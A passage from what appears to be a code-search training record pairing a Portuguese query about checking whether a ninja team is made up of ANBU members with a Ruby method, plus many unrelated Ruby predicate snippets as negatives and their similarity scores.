\"a2\", \"a3\", \"b1\", \"b2\", \"b3\", \"c1\", \"c2\", \"c3\"]\n\ttrue if coordonnees.include? @answer_play \n end", "def several?\n several = (count > 1) if several.nil?\n end", "def judge_signal(instance,signal,noneqList_custom)\n flag = true\n noneqList_custom.each do |inst,data|\n if inst == instance\n flag = false unless data.noneq_points.index(\"#{signal}\").nil?\n flag = false unless data.nocor_points.index(\"#{signal}\").nil?\n end\n end\n return flag\n end", "def vegetaria\n\t\tcerdo = Alimento.new(\"Cerdo\", 21.5, 0.0, 6.3, 7.6, 11.0)\n\t\tcordero = Alimento.new(\"Cordero\",18.0,0.0,3.1,50.0,164.0)\n\t\tvaca = Alimento.new(\"Carne de vaca\", 21.1,0.0,3.1,50.0,164.0)\n\t\tcamarones = Alimento.new(\"Camarones\",17.6,1.5,0.6,18.0,2.0)\n\t\tpollo = Alimento.new(\"Pollo\",20.6,0.0,5.6,5.7,7.1)\n\n\t\t[cerdo,cordero,vaca,camarones,pollo].each do |i|\n\t\t\tif (@alimentos.find { |x| x == i }) != nil\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def elv_nymphali\n return @skills_set.any? { |skill| skill&.type_fairy? }\n end", "def verb_correct? set\n (set & VERBS).count >= 1\n end", "def multiple?\n @multiple\n end", "def kilohertz? = unit == 'kilohertz'", "def kelvin? = unit == 'kelvin'", "def c3_cat3_task?\n product.c3_test && ep_measures?\n end", "def unit_other_category(u)\n # comment is actual code returned by the df function\n return :Berserk if u.mood == :Berserk # 5\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\n return :Undead if u.flags3.ghostly # 15\n\n if df.gamemode == :ADVENTURE\n return :Hostile if u.civ_id == -1 # 2\n if u.animal.population.region_x == -1\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\n else\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\n end\n return :Hostile if u.flags2.resident # 3\n return :Hostile # 4\n end\n\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\n return :Hostile if u.flags1.tame # 7\n\n if u.civ_id != -1\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\n return :Hostile # 7\n\n elsif u.animal.population.region_x == -1\n return :Friendly if u.flags2.visitor # 8\n return :Uninvited if u.flags2.visitor_uninvited # 12\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Resident if u.flags2.resident # 13\n return :Friendly # 8\n\n else\n return :Friendly if u.flags2.visitor # 8\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\n return :Wild # 11\n end\n end", "def es_mayor_que?(otherCat)\n #compara la edad de katty con la de peto\n calculate > otherCat.calculate \n end", "def usable_item_conditions_met?(item)\r\n movable? && occasion_ok?(item)\r\n end", "def has_teen( a , b , c )\n a = ( 13 <= a && a <= 19 )\n b = ( 13 <= b && b <= 19 )\n c = ( 13 <= c && c <= 19 )\n return a || b || c\nend", "def multi?\n @is_multi ||= used.count > 1\n end", "def number_length_7?\n operator === \"Movistar\" && type_payment === \"Prepago\" || operator === \"Digitel\" || operator === \"Movilnet\" && type_payment === \"Prepago\" || operator === \"Cantv\" && type_payment === \"Post-pago\"\n end", "def suction_cup?\n @suction_cup == 1\n end", "def par?\n cuantos_pares >= 1\n end", "def units?\n return units.any?\n end", "def es_matrimonio_asignado?(matrimonio)\n asignaciones_seguimiento.where(persona_id: matrimonio.esposo_id)\n .or(asignaciones_seguimiento.where(persona_id: matrimonio.esposa_id))\n .any?\n end", "def unit_category(u)\n return if u.flags1.left or u.flags1.incoming\n # return if hostile & unit_invisible(u) (hidden_in_ambush or caged+mapblock.hidden or caged+holder.ambush\n return :Dead if u.flags1.dead\n return :Dead if u.flags3.ghostly # hostile ?\n return :Others if !unit_isfortmember(u)\n casteflags = u.race_tg.caste[u.caste].flags if u.caste >= 0\n return :Livestock if casteflags and (casteflags[:PET] or casteflags[:PET_EXOTIC])\n return :Citizens if unit_testflagcurse(u, :CAN_SPEAK)\n :Livestock\n # some other stuff with ui.race_id ? (jobs only?)\n end", "def is_mixable_with?(song)\n mixables.include?(song)\n end", "def full_house?\n three_of_a_kind? && pair?\n end" ]
[ "0.5887564", "0.5872823", "0.58314246", "0.57727623", "0.57575995", "0.56924975", "0.56728464", "0.56701833", "0.56420714", "0.5625229", "0.559234", "0.5590583", "0.55346924", "0.5525686", "0.55248404", "0.55190116", "0.5514819", "0.5493433", "0.54716146", "0.54691833", "0.546893", "0.5429829", "0.5426489", "0.54262197", "0.5423671", "0.53969127", "0.53816277", "0.537864", "0.5371506", "0.53644395", "0.536314", "0.5356996", "0.53485394", "0.5344688", "0.53274494", "0.53266037", "0.53131133", "0.5308484", "0.5301198", "0.5293366", "0.52872664", "0.5279155", "0.5278486", "0.527321", "0.5271432", "0.5267028", "0.52645344", "0.5259697", "0.525644", "0.525294", "0.5243306", "0.5238476", "0.52371", "0.5232426", "0.52311647", "0.5230266", "0.5227016", "0.521593", "0.520939", "0.5201897", "0.52017105", "0.5199129", "0.51923436", "0.51897335", "0.5189409", "0.5186541", "0.5184474", "0.5184474", "0.51825494", "0.5182113", "0.51780665", "0.5177055", "0.51687753", "0.516077", "0.5160353", "0.51596576", "0.51589876", "0.5158716", "0.51570386", "0.51455677", "0.5142118", "0.51388913", "0.5133478", "0.51200235", "0.51082087", "0.5105644", "0.510342", "0.5098978", "0.50975055", "0.50974995", "0.5083041", "0.508275", "0.5079764", "0.5073584", "0.5068184", "0.5063065", "0.5060159", "0.50599945", "0.50562185", "0.50555277" ]
0.6530351
0
Verifica se a equipe e formada por anbus
def is_anbu_equipe(equipe) membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id] val_is_anbu = true for i in 0..3 val_is_anbu = (val_is_anbu and (Pessoa.find(membros[i]).rank.downcase == 'anbu')) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def atributos\n valid = false\n if self.interreps_vencidos.any?\n valid = true\n\n elsif presente_reunioes == true\n valid = true\n end\n\n # elsif Time.now.year - ano_de_fundacao <= 1 \n # valid = true\n # end\n\n valid\n end", "def in_us1?\n self.nro_remision.to_s == \"\"\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"CENTRALIZADO\", \"PV\"]\n if @tipo_pagamento && !allowed_values.include?(@tipo_pagamento)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validar_equipe(equipe)\n equipe_valida = true\n if is_raikage_membro(equipe)\n equipe_valida = false\n flash[:warning] = \"O Raikage não pode estar em uma equipe.\"\n\n elsif !is_anbu_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas ANBU só podem estar em uma equipe em que todos os membros são ANBU\"\n\n elsif is_medico_membro(equipe)\n unless is_medico_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas médicos devem estar em uma equipe formada por 3 ninjas médicos, sendo um deles o superior, e 1 ninja chuunin ou jounin.\"\n\n end\n end\n equipe_valida\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @total_servicos.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_nacionais.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_internacionais.nil?\n return false\n end\n\n \n \n \n \n end", "def debo_ir_a_carcel\n if (super)\n return !pagar_fianza\n else\n return true \n # Lo hemos hecho así, porque pensamos que si tiene carta y llama a \n # pagar fianza y tiene el saldo suficiente, se restaría dinero\n # del saldo aún teniendo la carta libertad\n end\n end", "def cross_check_mac_address_with_ouis\n oui = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')[0,6]\n if Oui.where(:value => oui).first == nil or Oui.where(:value => oui).first.manufacturer != self.phone_model.manufacturer\n errors.add( :mac_address, \"The given mac address doesn't match to the OUIs of the manufacturer #{self.phone_model.manufacturer.name}.\" )\n end\n end", "def posicao_valida?(mapa, posicao)\n\n linhas = mapa.size\n colunas = mapa[0].size\n estourou_linhas = posicao[0] < 0 || posicao[0] >= linhas\n estorou_colunas = posicao[1] < 0 || posicao[1] >= colunas\n\n if estourou_linhas || estorou_colunas\n return false\n end\n valor_atual = mapa[posicao[0]][posicao[1]]\n if valor_atual == \"X\" || valor_atual == \"F\"\n return false\n end\n true\nend", "def assemblea_in_corso?\n !!session[:assemblea_id]\n end", "def es_matrimonio_asignado?(matrimonio)\n asignaciones_seguimiento.where(persona_id: matrimonio.esposo_id)\n .or(asignaciones_seguimiento.where(persona_id: matrimonio.esposa_id))\n .any?\n end", "def control_sin_items_comprobantes\n if [detalles].any? {|detalle| detalle.any? }\n self.errors[:base] = \"error que queres hacer?\"\n return false\n end \n end", "def alto?\n @cr[0xb][7] == 1\n end", "def test_final_trans_false\n assert_equal(false, @bv.final_trans?([\"FROM_ADDR\", \"TO_ADDR\", \"46\"], 3, 4))\n end", "def carta_tem_ponto?(carta)\n ['A', '7', 'K', 'J', 'Q'].include? carta.numero\n end", "def rebus_value?(v)\n v && v.size > 1\n end", "def rebus_fill?\n rebus_value?(fill)\n end", "def addressing_ok?\n if billing_address.nil?\n return false\n elsif billing_address.filled_in? and (shipping_address.nil? or !shipping_address.filled_in?)\n return true\n elsif billing_address.filled_in? and shipping_address.filled_in?\n return false\n else\n return false\n end\n end", "def validade_field_boleto\n puts field_number_boleto.text\n if field_number_boleto.include?('03399')\n puts \"Boleto OK\"\n else\n puts \"Boleto invalid\"\n end\n end", "def ounce? = unit == 'ounce'", "def par?\n cuantos_pares >= 1\n end", "def test_final_trans_not_final_trans\n assert @bv.final_trans?([\"FROM_ADDR\", \"TO_ADDR\", \"46\"], 2, 4)\n end", "def cross_check_mac_address_with_ouis\n\t\toui_str = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )[0,6]\n\t\toui_obj = Oui.where( :value => oui_str ).first\n\t\tif oui_obj == nil \\\n\t\t|| (self.phone_model && self.phone_model.try(:manufacturer) != oui_obj.manufacturer)\n\t\t\terrors.add( :mac_address, I18n.t(:mac_address_not_matching_oui, :manufacturer => self.phone_model.try(:manufacturer).try(:name) ))\n\t\tend\n\tend", "def copia_en_buzon_propio?\n return (current_user.puesto.buzon == self.buzon)\n end", "def valida_descarga_guia\n if params[:especie_id].present?\n begin\n t = Especie.find(params[:especie_id])\n cat = t.categoria_taxonomica\n \n if [3,4,5].include?(cat.nivel1)\n self.resp = { estatus: true }\n else\n return self.resp = { estatus: false, msg: 'El taxón no es una clase, orden o familia' }\n end\n\n rescue => e\n return self.resp = { estatus: false, msg: 'El taxón seleccionado no existe' + e.inspect }\n end \n \n else\n return self.resp = { estatus: false, msg: 'Se debe escoger un taxón' } \n end\n\n if params[:region_id].present? && (params[:tipo_region].present? && %(municipio anp).include?(params[:tipo_region]))\n self.resp = { estatus: true }\n else\n self.resp = { estatus: false, msg: 'La región seleccionada no es un municipio o ANP' }\n end\n end", "def is_ok ( addr )\n\tindex = addr - @base\n\treturn true if @map[index] == \"X\"\n\treturn true if @map[index] == \"I\"\n\treturn false\n end", "def verifcar_alguna_pelea_abierta_antes_pago_any_ticket (ticket)\n #todas peleas cerrada implica cero peleas abiertas ok.\n\n @jugadalots = Jugadalot.where(:ticket_id => ticket.id) # todas las jugadas de ese ticket\n @alguna_pelea_abierta = false\n @peleas_abierta = [] # listado de peleas cerradas array\n\n @jugadalots.each do |jugada|\n \n #verifcar que todas las jugadas de ese ticket esten cerrada (peleas cerradas de ese ticket de esa fecha de esa lina de ese dia ok)\n linea_pelea = Lineat.by_day(jugada.created_at.to_date).where(:pelea => jugada.pelea.to_i).first || [] # \n if linea_pelea.status == \"abierta\"\n @peleas_abierta << linea_pelea.pelea # 3, 4 etc cerradas\n end\n \n end\n\n if @peleas_abierta.empty? # si esta vacio no hay niguna pelea cerrada\n return false \n else\n return @peleas_abierta # retorna las peleas abiertas\n end \n\n\n end", "def ok?\n [ :remote_addr, :price, :subscription_id, :transaction_id, :checksum , :jurnalo_user_id ].inject( true ){ |s,x| s && !(send(x).blank?) }\n end", "def valid_oxum?\n bag_info[\"Payload-Oxum\"] == payload_oxum\n end", "def test_final_trans_true\n assert @bv.final_trans?([\"SYSTEM\", \"TO_ADDR\", \"46\"], 3, 4)\n end", "def is_cesia?\n CESIA_UPN.include?(self.upn)\n end", "def verification_coordonnees \n\tcoordonnees = [\"a1\", \"a2\", \"a3\", \"b1\", \"b2\", \"b3\", \"c1\", \"c2\", \"c3\"]\n\ttrue if coordonnees.include? @answer_play \n end", "def debe_ser_encarcelado\n if is_encarcelado\n return false\n else\n if !tiene_salvoconducto\n return true\n else\n perder_salvoconducto\n Diario.instance.ocurre_evento(\"El jugador se libra de la cárcel\")\n return false\n end\n end\n end", "def evocations?\n\n\t !evocations('n08112402').nil?\n\n\tend", "def isValid\n # check that the amino acid is complete\n nonHydrogenAtoms = self.atoms.select{|atom| atom.atom != \"H\"}\n if (nonHydrogenAtoms.size == AMINO_ACID_SIZES[self.resname])\n @isvalid = true\n end\n puts \"ISVALID : #{self.isvalid} #{nonHydrogenAtoms.size} \"\n end", "def number_is_movistar?\n operator === \"Movistar\" && type_payment === \"Prepago\"\n end", "def checkmated?(sente) # sente is loosing\n ou = look_for_ou(sente)\n x = 1\n while (x <= 9)\n y = 1\n while (y <= 9)\n if (@array[x][y] &&\n (@array[x][y].sente != sente))\n if (@array[x][y].movable_grids.include?([ou.x, ou.y]))\n return true\n end\n end\n y = y + 1\n end\n x = x + 1\n end\n return false\n end", "def valid?\n !vendor_no.nil? && !name.nil?\n end", "def is_soa?\n soa_regex = /\\s+/\n (mname,rname,serial,refresh,reetry,expire,minimum) = self.split(soa_regex)\n\n if mname === nil or rname === nil or serial === nil or refresh === nil or reetry === nil or expire === nil or minimum === nil\n $logger.warn \"SOA '#{self}' requires valid MNAME, RNAME, SERIAL, REFRESH, RETRY, EXPIRE, and MINIMUM fields.\"\n return false\n end\n unless is_domain_name(mname)\n $logger.warn \"Please provide a name server that is the original or primary source of data for this zone.\"\n return false\n end\n unless is_domain_name(rname)\n $logger.warn \"Please provide the mailbox for the person responsible for this zone.\"\n return false\n end\n\n\n serial = serial.to_i\n refresh = refresh.to_i\n reetry = reetry.to_i\n expire = expire.to_i\n minimum = minimum.to_i\n\n if serial <= 0 or serial > 2**32 - 1\n $logger.warn \"The serial must be an unsigned 32 bit integer.\"\n return false\n end\n if refresh < -2**31 + 1 or refresh > 2**31 - 1\n $logger.warn \"The refresh must be a signed 32 bit integer.\"\n return false\n end\n if reetry < -2**31 + 1 or reetry > 2**31 - 1\n $logger.warn \"The retry must be a signed 32 bit integer.\"\n return false\n end\n if expire < -2**31 + 1 or expire > 2**31 - 1\n $logger.warn \"The expire must be a signed 32 bit integer.\"\n return false\n end\n if minimum < 0 or minimum > 2**32 - 1\n $logger.warn \"The minimum must be an unsigned 32 bit integer.\"\n return false\n end\n return true\n end", "def verificar_jugadas_contradictorias jugadalot\n #jugadalot es un object param\n # 4 tipos de jugadas: 0101, 0102, 0103, 0104\n jugadas = Jugadalot.where(:ticket_id => jugadalot.ticket_id) || [] # nil en caso de no encontrar jugadas de ese ticket_id, my remoto pero contemplarlo. \n respuesta = false\n\n comandos = []\n comando_actual = jugadalot.comandojugada # incluyo tambien la ultima jugada digitada en pantalla que aun no esta en la consulta del modelo. Esta jugada viene dentro del objeto recibido como param ok.\n\n jugadas.each do |jugada|\n comandos << jugada.comandojugada # capturar todos los comandos de las jugadas\n end\n #aplicar la logica de las jugadas contradictorias\n #la jugada contradictoria se verifica en cada entrada nueva, compara la que llega con las que estan?\n\n #si la jugada nueva es al cinta azul, verificar que no este esa misma pelea al cinta blanca y viceversa\n # comando_actual => \"0101\" por ejemplo\n if comando_actual[2..3] == \"01\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"2\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"02\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"1\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"03\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"4\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n\n if comando_actual[2..3] == \"04\" # pelea apostando al cinta azul\n jugada_opuesta = comando_actual[0..1].to_s + \"0\"+\"3\" #misma pelea pero al cinta blanca\n return comandos.include?(jugada_opuesta.to_s)\n end\n \n end", "def in_european_union?; end", "def validity_check\n\n if strand == '+'\n\n codon = ref_seq[0..2].map(&:last).join\n return true if codon.include?('N')\n codon == 'ATG'\n\n elsif strand == '-'\n\n codon = ref_seq[-3..-1].map(&:last).join\n return true if codon.include?('N')\n codon == 'CAT'\n\n end\n\n end", "def puede_enrocar_largo?(columna, fila)\n fila == @fila and columna == 3 and !se_movio? and !jaque? and !jaque?(4, fila) and\n !@tablero[1][fila].nil? and @tablero[1][fila].puede_enrocar?(@columna, @fila)\n end", "def check_values_proceed\n [@endereco, @state, @city, @zip].each {|text|\n unless address_delivery_elem.has_text?(text, wait: 5)\n raise \"Dados do End: #{text} está Cadastrado Errado!\"\n end\n }\n proceed_elem.click\n end", "def is_reservation_and_has_conflicts?\n self.is_reservation? && self.has_conflicts?\n end", "def jugador_actual_en_calle_libre\n casilla_actual = @jugador_actual.casilla_actual\n \n return casilla_actual.soy_edificable && !casilla_actual.titulo.tengo_propietario\n end", "def tem_naipe_da_rodada_ou_trunfo?\n return true if primeiro_jogador?\n @cartas.each do |carta|\n naipe = carta.naipe\n if naipe == naipe_da_rodada or naipe == naipe_do_trunfo\n return true\n end\n end\n false\n end", "def verificaciones_valid\n return false unless self.verificaciones?\n self.verificaciones.collect { |i|\n i if i['cancelado'] == 'NO'\n }.compact\n end", "def verifyCicle\n $nodos.each { \n |node|\n if(node.entradas.length > 0)\n if(findCicle(node, node.operationId ,Array.new))\n return true\n end\n end\n }\n return false\nend", "def poopy?\n\t\t@stuff_in_intestine >= 8\n\tend", "def check_controllo_offerte(file_controlo)\n sheet = apri_file(file_controlo)\n tabella_controlli = [sheet.column(2),sheet.column(3)]\n tabella_controlli[0].each_with_index do |x,y|\n if x == \"FLUSSO\"\n unless tabella_controlli[1][0] == $data\n @errore << \"Nel file #{file_controlo.basename} c'è una data diversa da quella selezionata\"\n end\n else\n unless tabella_controlli[1][y] == \"OK\"\n @errore << \"Nel file #{file_controlo.basename} il \\\"#{tabella_controlli[0][y]}\\\" non è OK\"\n end\n end\n end\n end", "def special?\n SPECIAL_MAILBOXES.include?(mailbox)\n end", "def tiene_filtros?\n params[:especie_id].present? || params[:nombre].present? || (params[:grupo].present? && params[:grupo].any?) || (params[:dist].present? && params[:dist].any?) || (params[:edo_cons].present? && params[:edo_cons].any?) || (params[:uso].present? && params[:uso].any?) || (params[:ambiente].present? && params[:ambiente].present?) || (params[:forma].present? && params[:forma].present?)\n end", "def testLigneContient(a,a2)\n\t\t0.upto(a.size-1) do |x|\n\t\t\tif a[x].couleur != a2[x].couleur && a2[x].couleur != Tuile.getCouleurVide \n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\n\tend", "def maesb_set_complete?(maesb_equips)\n maesb_sets.each { |set| return true if set && set.set_complete?(maesb_equips) }\n return false\n end", "def ensure_not_item_calendario\n \t\tif item_calendarios.empty?\n \t\t\treturn true\n \t\telse\n \t\t\terrors.add(:base, 'Usted tiene Curso(s) registrado(s)')\n \t\t\treturn false\n \t\tend\n \tend", "def vasca\n\t\treturn ((prot >= 9.0 || prot <= 21.0) && (car >= 54.0 || car <= 66.0) && (lip >= 19.0 || lip <= 31.0))\n\tend", "def mes_nao_efetivado(data)\n\t\tself.parts.each do |p|\n\t\t\tif((p.data.month <= data.month) && (p.data.year <= data.year) && (p.confirmacao == 0))\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend", "def contains_response_and_soln?() true ; end", "def is_valid?\n ((@original.reverse.chars.first.to_i == check_digit) && (gs1_prefix == '979') && @code.count == 13) || @code.count == 12\n end", "def soprano?\n @cr[0xc][7] == 1\n end", "def avalara_eligible?\n if ship_address.present? and ship_address.state.present?\n SpreeAvalara.sales_tax_states.keys.include? ship_address.state.abbr\n else\n false\n end\n end", "def valid_to?\n return true if ( not @sms_to.blank? ) && ( @sms_to.length == 8 ) && ( ['4','9'].include? @sms_to[0] )\n false\n end", "def puede_enrocar_corto?(columna, fila)\n fila == @fila and columna == 7 and !se_movio? and !jaque? and !jaque?(6, fila) and\n !@tablero[8][fila].nil? and @tablero[8][fila].puede_enrocar?(@columna, @fila)\n end", "def puede_enrocar?(columna, fila)\n false\n end", "def any_eob_processed?\n self.insurance_payment_eobs.length >= 1\n end", "def valid?(picklist_entry)\n valid_for = picklist_entry['validFor'].ljust(16, 'A').unpack1('m').\n unpack('C*')\n (valid_for[index >> 3] & (0x80 >> (index % 8))).positive?\n end", "def ha_accedido?\n\t\t!usuario_actual.nil?\n\tend", "def invoice_possible?\n # 1. facture globale ?\n invoices = Invoice.find :first,\n \t:conditions => ['order_id = ? AND ds_id IS NULL', self.order_id]\n return false if (!invoices.nil?)\n # 2. facture pour cette livraison ?\n invoices = Invoice.find :first, :conditions => ['ds_id = ?', self.id]\n return false if (!invoices.nil?)\n # 3. bon de commande pour cette livraison ?\n return false if (self.order_id.nil?)\n return true\n end", "def escala?\n valores = @mi_mano.sort_by {|k, v| v[:valor]}.to_h.map{|k, v| [v[:valor]] }.flatten\n valores.each_with_index do |val, index|\n return false unless val == (valores[index + 1] - 1)\n return true if index == (valores.size - 2)\n end\n end", "def check_absorptance?()\n \n @construction.check_keyword?(\"ABSORPTANCE\") \n \n end", "def analisados(analisados)\n analisados.each do |_n, value|\n return true if value == false\n end\n false\n end", "def espanola\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def valid?\r\n @bytes.same_bytes_as?(CAFE_BABE)\r\n end", "def vegetaria\n\t\tcerdo = Alimento.new(\"Cerdo\", 21.5, 0.0, 6.3, 7.6, 11.0)\n\t\tcordero = Alimento.new(\"Cordero\",18.0,0.0,3.1,50.0,164.0)\n\t\tvaca = Alimento.new(\"Carne de vaca\", 21.1,0.0,3.1,50.0,164.0)\n\t\tcamarones = Alimento.new(\"Camarones\",17.6,1.5,0.6,18.0,2.0)\n\t\tpollo = Alimento.new(\"Pollo\",20.6,0.0,5.6,5.7,7.1)\n\n\t\t[cerdo,cordero,vaca,camarones,pollo].each do |i|\n\t\t\tif (@alimentos.find { |x| x == i }) != nil\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def conventional?\n self.syntax = :invalid\n if self.tag\n return false unless self.mailbox =~ CONVENTIONAL_MAILBOX_REGEX &&\n self.tag =~ CONVENTIONAL_TAG_REGEX\n else\n return false unless self.local =~ CONVENTIONAL_MAILBOX_REGEX\n end\n self.valid_size? or return false\n self.valid_encoding? or return false\n self.syntax = :conventional\n true\n end", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def hambriento?\n # Los nombres de los metodos pueden terminar en \"?\".\n # Generalmente, hacemos esto si el método debe\n # devolver verdadero o falso, como esto:\n @panzaLlena <= 2\n end", "def quorate?\n\t\t@quorate\n\tend", "def valid_siad_exec?\n self.siad_params_validation = true\n aux = valid?\n self.siad_params_validation = nil\n aux\n end", "def can_repair(unit)\n return false if @army != unit.army\n return true if [MOVE_AIR].include?(unit.move_type)\n return false\n end", "def check_bingo\n\t\t\n\tend", "def should_component_be_checked(component_name)\n if params[:from].blank?\n true\n else\n if component_name.downcase == params[:from]\n true\n else\n false\n end\n end\n end", "def debo_ir_a_carcel\n return !tengo_carta_libertad\n end", "def valid?\n court_slots.any?\n end", "def controllaInizio( pippo)\n if INIZIO == 1 && FINE > INIZIO\n return true\n else\n ultimoBook = Book.last\n end \n #ultimoBook = Book.last #<<=== cambiare (commentandola) questa istruzione per il primo ciclo di bidoni\n if INIZIO == ultimoBook.id+1 # 1 <<=== cambiare questa istruzione (mettere: INIZIO == 1) per il primo ciclo di bidoni\n return true\n else\n pippo.scriviRiga(\"Ultimo record in tabella books ha valore: #{ultimoBook.id}\") if INIZIO > 1\n return false\n end\nend", "def control_F(dia,mes,anio)\r\n valdio=false\r\n if ((01..31)===dia.to_i)\r\n if((01..12)===mes.to_i)&&(es_valido(mes,dia)||(mes==\"02\"&&dia==\"29\")&& es_bisiesto(anio.to_i))\r\n if ((1000..9999)===anio.to_i)\r\n valido= true\r\n else\r\n valido= false\r\n end\r\n else\r\n valido= false\r\n end\r\n else\r\n valido= false\r\n end\r\n return valido\r\nend", "def valid?\n 0.upto(8) { |row| return false if @rows[row].uniq! }\n 0.upto(8) { |column| return false if @columns[column].uniq! } \n 0.upto(8) { |box| return false if @boxes[box].uniq! }\n\n return true\n end", "def ounce_troy? = unit == 'ounce-troy'", "def valid?\n if ( !@from )\n return false\n end\n if ( !@to )\n return false\n end\n if ( !@api_key )\n return false\n end\n if ( !from_does_not_equal_to )\n return false\n end\n return true\n end", "def pro_forma?\n status == Enums::PaymentStatus::PRO_FORMA\n end", "def validar_registro(registro, detalle)\n detalleini = detalle.clone\n if !registro.fechainicio &&\n Cor1440Gen::ApplicationHelper::ESTADOS_APROBADO.include?(registro.estado)\n detalle << \"No tiene fecha de inicio\"\n elsif registro.fechainicio && registro.fechainicio < Date.new(2000, 1, 1)\n detalle << \"Fecha de inicio anterior al 1.Ene.2000\"\n end\n if !registro.fechacierre &&\n Cor1440Gen::ApplicationHelper::ESTADOS_APROBADO.include?(registro.estado)\n detalle << \"No tiene fecha de terminación\"\n elsif registro.fechacierre && registro.fechainicio &&\n registro.fechacierre <= registro.fechainicio\n detalle << \"Fecha de terminación posterior o igual a la de inicio\"\n end\n validar_mas_registro(registro, detalle)\n detalleini == detalle\n end", "def baclava?\n @run.baclava_input?\n end", "def _puede_capturar?(columna, fila)\n (@columna - columna).abs == 1 and fila_siguiente == fila\n end", "def can_repair(unit)\n return false\n end", "def valid?\n [:from, :to].each do |field|\n return false if !self[field] || self[field].empty?\n end\n \n self[:subject] ? true : false\n end", "def validar_home\n find(@@btn_verMais).displayed?\n end", "def valid_address?(address)\n all_addresses = get_all_addresses\n all_addresses.include? address\nend", "def parcelle_assoc_saison_incoh\n err = false\n self.parcelles.each { |p| err = true unless p.saison_id.eql?(self.saison_id) }\n self.factoparcelles.each { |a| err = true unless a.saison_id.eql?(self.saison_id) }\n return (err)\n end", "def can_afford?(name)\n Era::TBUnit.makable?(name)\n end", "def set_complete?(eqps = [])\n itms = items\n !itms.empty? && ((itms & eqps).size == itms.size)\n end" ]
[ "0.61227363", "0.61119676", "0.5956062", "0.5900061", "0.58191097", "0.57942384", "0.5776025", "0.5761631", "0.57422954", "0.57241946", "0.57154757", "0.571249", "0.56876665", "0.56815845", "0.56770325", "0.56759876", "0.5651228", "0.56451845", "0.56422955", "0.56384426", "0.56353885", "0.5633806", "0.56291723", "0.5623954", "0.56099755", "0.558803", "0.5579425", "0.5571179", "0.5551503", "0.55388695", "0.55327934", "0.55148965", "0.55015224", "0.5500603", "0.5500104", "0.54996806", "0.5491552", "0.5473632", "0.5470006", "0.54691607", "0.5468387", "0.5467652", "0.54629093", "0.54611796", "0.54478556", "0.5435359", "0.5432254", "0.5418371", "0.5416321", "0.54085", "0.53990215", "0.5390429", "0.53892416", "0.53886384", "0.53871596", "0.5383981", "0.53802574", "0.53690356", "0.53544366", "0.53489375", "0.5340478", "0.5340458", "0.5336533", "0.533523", "0.5326513", "0.53247654", "0.5313897", "0.53132653", "0.53124976", "0.53123945", "0.5310598", "0.5310352", "0.53066444", "0.530259", "0.5302307", "0.5302011", "0.5302011", "0.5295594", "0.5293565", "0.5293549", "0.5292248", "0.52860075", "0.52846926", "0.52810764", 